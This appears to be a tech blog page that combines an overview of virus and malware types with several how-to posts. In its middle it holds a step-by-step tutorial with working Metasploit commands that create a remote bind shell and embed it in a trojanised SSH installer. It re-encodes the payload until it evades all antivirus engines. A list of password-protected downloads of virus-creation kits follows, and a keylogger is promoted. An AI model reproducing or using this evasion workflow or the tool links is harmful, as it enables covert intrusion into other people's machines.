What is a Computer Virus & Malware?

There are thousands of viruses, and new ones are discovered every day. It is difficult to come up with a generic explanation of how viruses work, since they all have variations in the way they infect or the way they spread. So instead, we'll take some broad categories that are commonly used to describe various types of virus.

File Viruses (Parasitic Viruses):-

File viruses are pieces of code that attach themselves to executable files, driver files or compressed files, and are activated when the host program is run. After activation, the virus may spread itself by attaching itself to other programs in the system, and also carry out the malevolent activity it was programmed for. Most file viruses spread by loading themselves in system memory and looking for any other programs located on the drive. If it finds one, it modifies the program's code so that it contains and activates the virus the next time it's run. It keeps doing this over and over until it spreads across the system, and possibly to other systems that the infected program may be shared with. Besides spreading themselves, these viruses also carry some type of destructive constituent that can be activated immediately or by a particular 'trigger'. The trigger could be a specific date, or the number of times the virus has been replicated, or anything equally trivial. Some examples of file viruses are Randex, Meve and MrKlunky.

Boot Sector Viruses:-

A boot sector virus affects the boot sector of a hard disk, which is a very crucial part. The boot sector is where all information about the drive is stored, along with a program that makes it possible for the operating system to boot up. By inserting its code into the boot sector, a virus guarantees that it loads into memory during every boot sequence.

Multipartite Viruses:-

Multipartite viruses are a combination of boot sector viruses and file viruses. These viruses come in through infected media and reside in memory. They then move on to the boot sector of the hard drive. From there, the virus infects executable files on the hard drive and spreads across the system. There aren't too many multipartite viruses in existence today, but in their heyday, they accounted for some major problems due to their capacity to combine different infection techniques. A significantly famous multipartite virus is Ywinz.

Macro Viruses:-

Macro viruses infect files that are created using certain applications or programs that contain macros. These include Microsoft Office documents such as Word documents, Excel spreadsheets, PowerPoint presentations, Access databases, and other similar application files such as Corel Draw, AmiPro, etc. Since macro viruses are written in the language of the application, and not in that of the operating system, they are known to be platform-independent they can spread between Windows, Mac, and any other system, so long as they're running the required application. With the ever-increasing capabilities of macro languages in applications, and the possibility of infections spreading over networks, these viruses are major threats.

The first macro virus was written for Microsoft Word and was discovered back in August 1995. Today, there are thousands of macro viruses in existence-some examples are Relax, Melissa.A and Bablas.

Network Viruses:-

This kind of virus is proficient in quickly spreading across a Local Area Network (LAN) or even over the Internet. Usually, it propagates through shared resources, such as shared drives and folders. Once it infects a new system, it searches for potential targets by searching the network for other vulnerable systems. Once a new vulnerable system is found, the network virus infects the other system, and thus spreads over the network. Some of the most notorious network viruses are Nimda and SQLSlammer.

E-mail Viruses:-

An e-mail virus could be a form of a macro virus that spreads itself to all the contacts located in the host's email address book. If any of the e-mail recipients open the attachment of the infected mail, it spreads to the new host's address book contacts, and then proceeds to send itself to all those contacts as well. These days, e-mail viruses can infect hosts even if the infected e-mail is previewed in a mail client. One of the most common and destructive e-mail viruses is the ILOVEYOU virus.

There are many ways in which a virus can infect or stay dormant on your PC. However, whether active or dormant, it's dangerous to let one loose on your system, and should be dealt with immediately.

Malware

Malware is a generic term for bad software. Malware is an abbreviation for ‘malicious software’ computer program .Malware consists of programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior .

Different Types Of  Malware:

Computer Viruses:

A computer virus is a program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space.

Worms :

Computer worms are programs that reproduce, execute independently and travel across the network connections. The key difference between a virus and worm is the manner in which it reproduces and spreads. A virus is dependent upon the host file or boot sector, and the transfer of files between computers to spread, whereas a computer worm can execute completely independently and spread on its own accord through network connections.

Trojan : 

Trojan is a malicious program/code which is used for remote access to target computer and then attack using unauthorized access to target or victim's computer and causes damage to the system. Trojan is a small hidden code inside another program that's why it easily enters system without knowledge of computer user.

Spyware :

Spyware are programs, cookies, or registry entries that track your activity and send that data off to someone who collects this data for their own purposes. Usually, those people are marketing companies trying to collect information to help them sell better.

Spyware is usually installed quietly, or even secretly, when you install shareware applications.

Many people feel that spyware is a violation of their privacy.

Adware:

Adware is a close relative of spyware. Adware is software that is installed on your computer to show you advertisements.Adware can slow your PC by using RAM and CPU cycles. Adware can also slow your Internet connection by using bandwidth to retrieve advertisements. Adware can increase the instability of your system because many adware applications are not programmed well.

In addition, adware can annoy you and waste huge amounts of your time by popping unwanted ads onto your screen, which require you to close them before you can get back to using your PC.

Back doors :

Backdoors are much the same as Trojans or worms, except that they do something different: they open a "backdoor" onto a computer, providing a network connection for hackers or other malware to enter or for viruses or spam are to be sent out through. it

Root kit:
A root kit is a collection of tools (programs) that enable administrator-level access to a computer or computer network. Typically, a cracker installs a root kit on a computer after first obtaining user-level access, either by exploiting a known vulnerability or cracking a password. Once the root kit is installed, it allows the attacker to mask intrusion and gain root or privileged access to the computer and, possibly, other machines on the network.A root kit may consist of spy ware and other programs that: monitor traffic and keystrokes; create a "backdoor" into the system for the hacker's

Key loggers :

A key logger is type of  spyware  which is hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press.I have already explained about Key loggers in my blog One of which is Sniper spy which is the best key logger currently

URL injectors.

This software "injects" a given URL in place of certain URLs when you try to visit them in your browser. Usually, the injected URL is an affiliate link to the target URL. An affiliate link is a special link used to track the traffic an affiliate (advertiser) has sent to the original website, so that the original website can pay commissions on any sales from that traffic.

Read more

Bypass Antivirus Detection - Making An Executable FUD

In this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Their are lots of approaches, however here we will take a look at how to make an executable FUD using msfencode.

Requirements :   Metasploit (comes on BackTrack or Kali)

Attention

We are using some harmless test files but don’t infect people with any real viruses. That would be a crime.

Purpose

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won’t spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:

cd

msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe

ls -l listen.exe

You should see the listen.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the “Choose File” button. Navigate to /root and double-click the listen.exe “listen.exe” appears in the “Choose File” box, as shown below:

In the virustotal web page , Click the “scan it” button!

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that many of the antivirus engines detected the file: 33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack/Kali, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exe

msfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that fewer of the antivirus engines detect the file now: 21 out of 42, when I did it, as shown below. You may see different numbers.

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack/Kali, in a Terminal window, execute these commands:

msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1

msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1

msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1ls -l listen*

 You should see several files as shown below:

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

Read more

Create Virus using Virus Creators

Sonic Bat :  Download .rar
Password : computerztrick

Dark-Horse Trojan Virus Maker 1.2 : Download .rar
Password : computerztrick

TeraBit Virus Maker : Download .rar
Password : computerztrick

JSP Virus Maker : Download  .rar
Password : computerztrick

Batch Virus Generator : Download .rar
Password : computerztrick

All In One Download Link :  ClickHere

Password : computerztrick

Read more

How To Remove Shortcut Virus From Pendrives And Memory Cards

Click on "Start" -->Run --> type cmd and click on OK. 

Here I assume your pen drive letter as F: 

Enter this command.

attrib -h -r -s /s /d \*.*

like this

OR

if you not entered K latter to cmd then write this code

attrib -h -r -s /s /d F:\*.*

like this

NOTE:

Don't forget to replace the letter F with your pen drive letter. 

You can copy the above command --> Right-click in the Command Prompt and 

paste it. 

Now press "ENTER". 

That’s it!!!!

You Can use this software. 

Download Link :  Super Hide

only select the drive latter then select hide or unhide.

hide is use to hide all data in selected drive and unhide is unhide the all data from selected drive.

Read more

How To block or Disable Autorun.inf file in xp,7 using (Regedit)

Simple way to disable autorun.inf :

Follow this link and download the msi file:    http://go.microsoft.com/?linkid=9741395

Fix it yourself-Manually disabling the autorun feature:

To disable Autorun yourself on operating systems that do not include Gpedit.msc, follow these steps:

Click Start, click Run, type regedit in the Open box, and then click OK.

Locate and then click the following entry in the registry:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrive

TypeAutorun

Right-click NoDriveTypeAutoRun, and then click Modify.

In the Value data box, type 0xFF to disable all types of drives. Or, to selectively disable specific drives, use a different value as described in the "How to selectively disable specific Autorun features" section.

Click OK, and then exit Registry Editor.

Restart the computer.you can re-enable the autorun feature :

Follow this link:  http://go.microsoft.com/?linkid=9743275

Read more